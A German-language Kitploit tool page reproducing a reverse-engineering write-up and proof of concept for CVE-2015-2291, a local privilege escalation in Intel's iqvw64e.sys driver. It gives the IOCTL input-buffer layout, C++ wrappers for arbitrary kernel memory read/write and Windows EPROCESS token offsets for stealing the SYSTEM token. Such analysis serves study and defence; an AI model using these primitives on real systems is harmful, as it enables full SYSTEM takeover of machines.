Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
iqvw64e-privilege-escalation — CVE-2015-2291 Local Privilege Escalation PoC | Kitploit
Tools/GitHubGitHub/ethanedits/iqvw64e-privilege-escalation
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringLearning & EducationBinary Exploitation
GitHubethanedits/iqvw64e-privilege-escalation

iqvw64e-privilege-escalation

CVE-2015-2291 Local Privilege Escalation PoC

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
2vor 6 MonatenNoch nicht geprüft

iqvw64e-Privilegienausweitung

CVE-2015-2291 Lokale Privilegienausweitung PoC

PoC

Übersicht

Dieses Projekt ist ein zu Bildungszwecken dienender Proof-of-Concept für eine Lokale Privilegienausweitung (LPE)-Sicherheitslücke im Treiber iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) – den Intel Ethernet-Diagnosetreiber, der mit CVE-2015-2291 verbunden ist.

Nachdem ich den Treiber in Kernel-Mode-Ladeprogrammen wie KDMapper ausgenutzt sah, wollte ich ihn selbst reverse-engineeren, um zu verstehen, wie der IOCTL-Dispatch funktioniert, welche Arten von Funktionen er dem Benutzermodus preisgibt und wie ein Angreifer diese entdecken oder nutzen könnte. Diese Dokumentation führt durch den Prozess von der statischen Analyse bis zum Aufbau von Speicherprimitiven mittels DeviceIoControl und schließlich zur Erstellung eines Exploits, der diese Primitive missbraucht, um das Zugriffstoken des aktuellen Prozesses durch das SYSTEM-Prozesstoken zu ersetzen und den Prozess effektiv auf SYSTEM-Privilegien zu erhöhen.

Unter Windows ist jedem Prozess ein Zugriffstoken zugeordnet, das seine Identität und Berechtigungen definiert. Durch beliebiges Kernel-Lesen/Schreiben wird es möglich, den Token-Zeiger, der in der Kernel-Prozessstruktur gespeichert ist, zu modifizieren. Das Ersetzen dieses Zeigers durch den des SYSTEM-Prozesses bewirkt, dass das Betriebssystem den aktuellen Prozess dem Sicherheitskontext von SYSTEM zuordnet, wodurch ihm effektiv volle Berechtigungen gewährt werden. Erfahren Sie mehr hier.

Vom IOCTL-Handler zur Sprungtabelle

Der Treiber registriert eine Dispatch-Routine für IRP_MJ_DEVICE_CONTROL, die DeviceIoControl-Aufrufe aus dem Benutzermodus verarbeitet. Wie unten gezeigt, führt es zu sub_11150, welches den Codefluss basierend auf dem eingehenden IO-Steuerungscode lenkt. In diesem Fall interessiert uns 0x80862007, das uns zu loc_111C2 führt.

IRP_MJ_DEVICE_CONTROL

Dem Kontrollfluss durch loc_111C2 folgend erreichen wir sub_113C0. Es empfängt einen Eingabepuffer (a1) und verwendet das erste QWORD dieses Puffers als Index in eine Sprungtabelle interner Handler-Funktionen. Hier führt der Treiber Folgendes aus:

  • Liest a1 → erstes QWORD (0x0) → jump_table_index
  • Wechselt basierend auf diesem Index
  • Leitet an die entsprechende interne Funktion weiter
  • Verwendet verbleibende Felder in a1 als Argumente

Wir wissen nun, dass der Eingabepuffer sowohl das Dispatch-Ziel als auch seine Parameter steuert. Wir werden die Eingabepuffer-Struktur im weiteren Verlauf der Analyse weiter definieren.

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

loc_111C2

sub_113C0

Identifizieren der memmove-Primitive

Während der Analyse der Sprungtabellen-Fälle suchte ich nach Handlern, die memmove oder memcpy ähneln. Bei Fall 0x33 ruft der Treiber sub_11EA0 auf und übergibt drei Felder aus dem Eingabepuffer. Dies ähnelt stark einer Speicherkopie:

case_0x33

Beim Öffnen von sub_11EA0 finden wir die erwartete Signatur:

root@kitploit:~
void* memmove( void* dest, const void* src, std::size_t count );

Die Disassemblierung bestätigt:

  • Argument a1 = destination
  • Argument a2 = source
  • Argument a3 = length

sub_11EA0

Mit diesen Informationen können wir nun das Layout des Eingabepuffers, das für den memmove-Aufruf erwartet wird, vollständig rekonstruieren:

root@kitploit:~
typedef struct _MEMMOVE_INPUT_BUFFER
{
	uint64_t jump_table_index; // 0x00
	uint64_t padding;          // 0x08 (8)
	uint64_t source;           // 0x10 (16)
	uint64_t destination;      // 0x18 (24)
	uint64_t length;           // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;

Erreichen von beliebigem Speicherlesen/-schreiben

Wir verstehen nun, dass durch Senden eines gültigen MEMMOVE_INPUT_BUFFER an den Treiber, mit:

  • jump_table_index = 0x33
  • source, destination und length nach Bedarf gesetzt

Wir können den Treiber anweisen, memmove auf beliebigen Adressen aufzurufen, was uns vollständige Kernel-Speicher-Lese-/Schreibfähigkeiten aus dem Benutzermodus verleiht.

Hier sind die Benutzermodus-Wrapper, die um diese Primitive herum erstellt wurden:

root@kitploit:~
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
	if (!destination || !source || !size)
		return 0;

	MEMMOVE_INPUT_BUFFER input_buffer = { 0 };

	input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
	input_buffer.source = source;
	input_buffer.destination = destination;
	input_buffer.length = size;

	DWORD bytes_returned = 0;
	return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}

uintptr_t read64(uintptr_t address)
{
	uintptr_t value = 0;
	if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
		return value;
	return 0;
}

bool write64(uintptr_t address, uintptr_t value)
{
	return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}

Diese Helfer erlauben beliebige 64-Bit-Lese- und Schreibzugriffe auf den virtuellen Kernel-Speicher. Von diesem Punkt an werden verschiedene Angriffe möglich (wie EPROCESS-Token-Diebstahl), aber diese Dokumentation konzentriert sich auf Rekonstruktion und Analyse. Sie werden feststellen, dass main.cpp einen PoC-EPROCESS-Token-Diebstahl-Exploit enthält, mit freundlicher Genehmigung von Eap2468's CVE-2021-2155

Hinweise

  • Windows Version: 10 x64 22H2 (19045.6466)
  • EPROCESS-Offsets:
    • UniqueProcessId: 0x440
    • ActiveProcessLinks: 0x448
    • Token: 0x4b8
  • Treiber: iqvw64e.sys (Die Treiber-Binärdatei wurde zur Bequemlichkeit in das Repository aufgenommen)
  • SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9

Referenzen und Danksagungen

  • CVE-2015-2291 (iqvw64e.sys)
  • KDMapper
  • CVE-2021-21551 / Token Stealing Exploit
  • Vergilius Project für Windows-Strukturdefinitionen

Vorführung

PoC

Tool herunterladen